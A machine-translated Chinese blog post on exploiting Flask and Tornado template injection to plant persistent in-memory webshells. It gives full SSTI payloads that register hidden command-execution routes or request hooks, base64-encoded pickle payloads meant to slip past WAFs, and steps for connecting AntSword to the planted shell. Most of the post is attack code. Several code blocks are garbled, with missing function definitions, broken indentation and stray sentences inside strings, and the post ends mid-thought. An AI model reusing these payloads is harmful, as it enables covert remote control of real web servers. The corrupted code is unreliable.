0x02 Research on Simple Memory Horse Injection in Python Flask

0 25
Through the technical research of Python SSTI, it was found that some of the Pay...

Through the technical research of Python SSTI, it was found that some of the Payloads on the Internet have limitations and cannot be used directly, some pitfalls were encountered, and the memory horse injection of Flask and Tornado was completed, which can bypass WAF and can be graphically managed by ChinaChop

0x00 Cause

A user unit reported that during the HW period, they were attacked by an attack team and provided the attack team's report and firewall traffic. As the New Year's Day was approaching, with nothing to do, I thought that I had not seriously studied technology for a long time, so I started to study.
0x02 Research on Simple Memory Horse Injection in Python Flask

Not very familiar with SSTI before, just took this opportunity to study SSTI, after searching for relevant information, found that the most widespread is Flask SSTI, so started here
Environment setup: https://github.com/vulhub/vulhub/blob/master/flask/ssti/
Or you can directly use an online range, https://buuoj.cn/challenges#[Flask]SSTI
The simple code to cause Flask SSTI is as follows:

from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

The following payload can be used to determine the existence of SSTI
image
Then we can try to use the magic method in Python:

__class__         Current class
__mro__           All parent classes
__subclasses__()  All subclasses
__globals__       Global variables
__builtins__      Direct access to all Python 'built-in' identifiers
__import__        Import module

With the above foundation, we can find an RCE Payload

{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

image
So far, RCE has been completed

0x02 Research on Simple Memory Horse Injection in Python Flask

According to the principle of memory horse, it is actually to add a route and add some code operations in this route
There is a method exactly like this, app.add_url_rule()
The environment I use is
flask==1.1.1,jinja2==2.10.3
Online Payload:

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

or

sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

After testing, variables such as url_for, sys, app, request, etc., cannot be used directly; it will report an error: 'This variable is not defined'
After tireless efforts, we finally discovered that there are context variables in flask.globals
image
Therefore, we can obviously get a Payload

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}

It's perfect, by accessing the built-in __import__ through __builtins__, we can import flask, access current_app through flask.globals, and then call add_url_rule()
So what is the result?
image
emm, this error is also too amazing, syntax error??
After checking character by character, it's impossible for there to be any syntax errors. I searched for a long time, but there were no results
On StackOverflow, I barely got a similar conclusion: the logic is complex, don't use complex logic in jinja2 templates, such as lambda anonymous functions
Only slightly modify the Payload

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}

Then access/abking123?abking=whoami
image
So, the Flask memory horse has been injected and can be used normally

But! We will find a problem in the latest version of Flask:
image
The latest version of Flask has added restrictions and an validation function in the setupmethod decorator, which will cause it to be impossible to call functions with the setupmethod decorator in any request.
How can we solve this problem?
Of course!
Similar to the concept of filter in Java, Flask has a before_request before each request and an after_request after each request
When using it, you just append a new function to the before_request request list or after_request
Here is a universal Payload that uses before_request for both old and new versions:

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()")==None else None)") }}

Similarly, there is a universal Payload for both old and new versions that uses after_request:

The first segment: "{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp) }}"

0x03 Encrypted Transmission

This time, the report of the attack team gave me an idea, using pickle.loads() for deserialization can complete encrypted transmission
The __reduce__ magic function in pickle will be automatically executed when an object is deserialized. We can execute arbitrary commands by implanting malicious code within the __reduce__ magic function.

Here is a code example:

import pickle
import base64

code = """
Similarly, Tornado can also use pickle for encoding
    return __import__('os').popen('whoami').read()
import base64
f()


"""
    class Exp:
        def __reduce__(self):


return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
pickle.loads(base64.b64decode(base64_class))

The execution result is as follows:
image

At this time, put the base64 encoded string output by the console into the SSTI Payload
It can be obtained

{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4=')) }}

This can bypass the WAF's encoding, and the code logic can be more complex, all put into a base64 encoded string, then you just need to find the python format webshell of蚁剑/冰蝎/哥斯拉.
However, after my extensive search, I couldn't find any python webshell, and the only python format webshell built-in to蚁剑 is only applicable to python2. Write one by yourself, it's too麻烦, this is the last resort.

0x04 Turnaround completed蚁剑connection

After my tireless efforts, I discovered a feature on the official WeChat public account of蚁剑 (https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA)
image
It can directly connect to RCE vulnerabilities without language restrictions, this is too cool!
Start the operation!
Low version flask supports add_url_rule()

import pickle
import base64

code = """
Similarly, Tornado can also use pickle for encoding
    return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
import base64
f()


"""
    class Exp:
        def __reduce__(self):


return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))

It is important to note that methods=['POST'] must be used because only the POST method is supported when connecting with蚁剑 later

Any version of flask universal kill 1:

import pickle
import base64

code = """
Similarly, Tornado can also use pickle for encoding
    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())") == None else None)
import base64
f()

"""
    class Exp:
        def __reduce__(self):


return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))

Universal kill for any version of Flask 2:

import pickle
import base64

code = """
Similarly, Tornado can also use pickle for encoding
    return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())") == None else resp)
import base64
f()
"""
    class Exp:
        def __reduce__(self):


return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))

Note: request.args is modified to request.form because蚁剑 only supports POST method connections

The reason for changing request.args to request.form is that蚁剑 only supports POST method connections

The string encoded in base64 is placed into the SSTI Payload, and the final encrypted Payload for killing low versions of Flask is

The encrypted payload for any version of Flask using the app.before_request_funcs.setdefault() function is:}}

The payload for killing any version of Flask using the function app.before_request_funcs.setdefault() is: {{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg==')) }}

The encryption payload for any version of Flask using the app.after_request_funcs.setdefault() function is: }}

The payload for any version of Flask encrypted using the app.after_request_funcs.setdefault() function is: {{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4=')) }}

Among them, eval can be replaced with exec.
The execution result is as follows:
image
Start Antyuan connection! http://127.0.0.1:5000/abking123 Password abking
Note: If Antyuan reports an error 405, the reason is that Antyuan only supports POST method connection, so methods=['POST'] is definitely needed
image
image
Up to now, we have completed the antyuan memory horse injection for encrypted SSTI of any version of flask!

0x05 Tornado memory horse injection

After completing the flask memory horse injection, we can easily extend it to Tornado memory horse injection
The following is an example of Tornado SSTI code:
Note: The version I am using is tornado==5.1.1

import tornado.ioloop
import tornado.web


class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {}#Clear the template engine

        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name'))}}
        self.render('index.html')


app = tornado.web.Application(
    [('/', IndexHandler)],
)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

image
The following Payload can complete RCE

{{__import__('os').popen('whoami').read()}}
image
Similarly, in order to go online with蚁剑, we must inject a POST type of memory horse

Note: here we use{{__import__('os').popen(handler.get_argument('abking')).read()}}Cannot be used to go online with蚁剑, the reason is the POST issue

In Tornado, there is a function to add routes called add_handlers(), so we use this to get the following Payload

{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(eval(x.get_argument("code"))))}))])}}

Connect using蚁剑, password is cmd
http://127.0.0.1:5000/abking123?code=__import__('os').popen(x.get_argument('cmd')).read()
image
image

Further abbreviation:

{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}))])}}

Connect using蚁剑, password is abkinghttp://127.0.0.1:5000/abking123
image

同样地,Tornado也可以使用pickle来进行编码

import pickle
import base64

code = """
Similarly, Tornado can also use pickle for encoding
    import pickle
import base64
f()
"""
    class Exp:
        def __reduce__(self):


return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))

print(base64_class)

The obtained Payload is
你可能想看:
最后修改时间:
admin
上一篇 2025年03月25日 03:05
下一篇 2025年03月25日 03:28

评论已关闭